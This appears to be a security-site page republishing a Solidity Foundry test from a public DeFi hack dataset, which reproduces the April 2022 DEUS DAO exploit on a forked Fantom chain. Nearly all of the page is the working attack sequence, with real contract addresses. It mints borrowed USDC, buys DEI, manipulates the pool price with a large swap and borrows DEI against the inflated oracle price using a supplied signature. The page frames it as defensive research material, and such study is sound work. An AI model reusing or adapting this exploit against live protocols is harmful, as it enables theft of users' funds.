Skip to content
THREATWIRE

Public reproduction file

src/test/2022-04/deus_exp.sol

Public reproduction file for dataset entry DEUS DAO.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-04/deus_exp.sol156 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity 0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7contract ContractTest is Test {
8 CheatCodes cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
9
10 IBaseV1Router01 router = IBaseV1Router01(0xa38cd27185a464914D3046f0AB9d43356B34829D);
12 IDeiLenderSolidex DeiLenderSolidex = IDeiLenderSolidex(0x8D643d954798392403eeA19dB8108f595bB8B730);
14 IUSDC usdc = IUSDC(0x04068DA6C83AFCFA0e13ba15A6696662335D5B75);
16 IERC20 dei = IERC20(0xDE12c7959E1a72bbe8a5f7A1dc8f8EeF9Ab011B3);
18 ISSPv4 sspv4 = ISSPv4(0xbe9dE5747317F27f9A39ea5924ed4c51b34fB0d1);
20 IERC20 lpToken = IERC20(0x5821573d8F04947952e76d94f3ABC6d7b43bF8d0);
22 IERC20 DepositToken = IERC20(0xD82001B651F7fb67Db99C679133F384244e20E79);
24 address owner_of_usdc = 0xC564EE9f21Ed8A2d8E7e76c085740d5e4c5FaFbE;
26 ILpDepositor LpDepositor = ILpDepositor(0x26E1A0d851CF28E697870e1b7F053B605C8b060F);
28 IOracle oracle = IOracle(0x8129026c585bCfA530445a6267f9389057761A00);
30 function setUp() public {
31 cheat.createSelectFork("fantom", 37_093_708); // fork fantom at block 37093708
32 }
34 function testExample() public {
35 cheat.prank(owner_of_usdc);
37 usdc.Swapin(
38 0x33e48143c6ea17476eeabfa202d8034190ea3f2280b643e2570c54265fe33c98, address(this), 150_000_000 * 10 ** 6
39 );
41 uint256 balance_of_usdc = usdc.balanceOf(address(this));
43 emit log_named_uint("The USDC I have now", balance_of_usdc);
45 usdc.approve(address(sspv4), type(uint256).max);
47 sspv4.buyDei(1_000_000 * 10 ** 6);
49 uint256 balance_of_dei = dei.balanceOf(address(this));
51 emit log_named_uint("The DEI after buying DEI", balance_of_dei);
53 balance_of_usdc = usdc.balanceOf(address(this));
55 emit log_named_uint("The USDC after buying DEI", balance_of_usdc);
57 usdc.approve(address(router), type(uint256).max);
59 dei.approve(address(router), type(uint256).max);
61 router.addLiquidity(
62 address(dei),
63 address(usdc),
64 true,
65 894_048_109_294_000_000_000_000,
66 965_495_000_000,
67 876_167_147_108_120_000_000_000,
68 946_185_100_000,
69 address(this),
70 block.timestamp
71 );
73 uint256 balance_of_LpToken = lpToken.balanceOf(address(this));
75 emit log_named_uint("The LPToken After adding Liquidity", balance_of_LpToken);
77 lpToken.approve(address(LpDepositor), type(uint256).max);
79 LpDepositor.deposit(address(lpToken), balance_of_LpToken);
81 balance_of_LpToken = lpToken.balanceOf(address(this));
83 uint256 balance_of_DepositToken = DepositToken.balanceOf(address(this));
85 emit log_named_uint("The DepositToken After depositting LPtoken", balance_of_DepositToken);
87 DepositToken.approve(address(DeiLenderSolidex), type(uint256).max);
89 DeiLenderSolidex.addCollateral(address(this), balance_of_DepositToken);
91 balance_of_DepositToken = DepositToken.balanceOf(address(this));
93 emit log_named_uint("The DepositToken After addCollateral", balance_of_DepositToken);
95 balance_of_usdc = usdc.balanceOf(address(this));
97 emit log_named_uint("The USDC I have now", balance_of_usdc);
99 usdc.approve(address(router), type(uint256).max);
101 router.swapExactTokensForTokensSimple(
102 143_200_000_000_000, 0, address(usdc), address(dei), true, address(this), block.timestamp
103 );
105 balance_of_dei = dei.balanceOf(address(this));
107 emit log_named_uint("The DEI I have after swapping", balance_of_dei);
109 SchnorrSign memory sig = SchnorrSign(
110 1_835_036_472_718_200_664_753_898_924_933_875_196_349_373_787_186_253_604_571_797_551_094_739_683_650,
111 0xF096EC73cB49B024f1D93eFe893E38337E7a099a,
112 0xD58D8931b98942EE19C431B72f4Bc8B3eD28d8DF
113 );
115 SchnorrSign[] memory sigs = new SchnorrSign[](1);
117 sigs[0] = sig;
119 bytes memory repID = "0x01701220183a8e97b39ebe3c38b6166cd7c9ddfe3c38fd76352e5652b9c25467aa47b040";
121 uint256 price = oracle.getOnChainPrice();
123 emit log_named_uint("The price from Oracle", price);
125 cheat.warp(1_651_113_560);
127 emit log_named_uint("the time now", block.timestamp);
129 DeiLenderSolidex.borrow(
130 address(this),
131 17_246_885_701_212_305_622_476_302,
132 20_923_953_265_992_870_251_804_289,
133 1_651_113_560,
134 repID,
135 sigs
136 );
138 balance_of_dei = dei.balanceOf(address(this));
140 emit log_named_uint("The DEI after borrowing", balance_of_dei);
142 router.swapExactTokensForTokensSimple(
143 12_000_000_000_000_000_000_000_000, 0, address(dei), address(usdc), true, address(this), block.timestamp
144 );
146 usdc.transfer(owner_of_usdc, 150_000_000 * 10 ** 6);
148 balance_of_dei = dei.balanceOf(address(this));
150 balance_of_usdc = usdc.balanceOf(address(this));
152 emit log_named_uint("The USDC after paying back", balance_of_usdc);
154 emit log_named_uint("The DEI after paying back", balance_of_dei);
155 }

Analysis

Dataset entry

Public Foundry test for “DEUS DAO” (2022-04-28). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

10 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

File record

Name
DEUS DAO
Path
src/test/2022-04/deus_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
91a498ea27ccfa6d8783804be7e2ca10f45c6c3c
Language
Solidity
Size
157 lines
Date
2022-04-28
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2022-04/deus_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 91a498ea27ccfa6d8783804be7e2ca10f45c6c3c, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.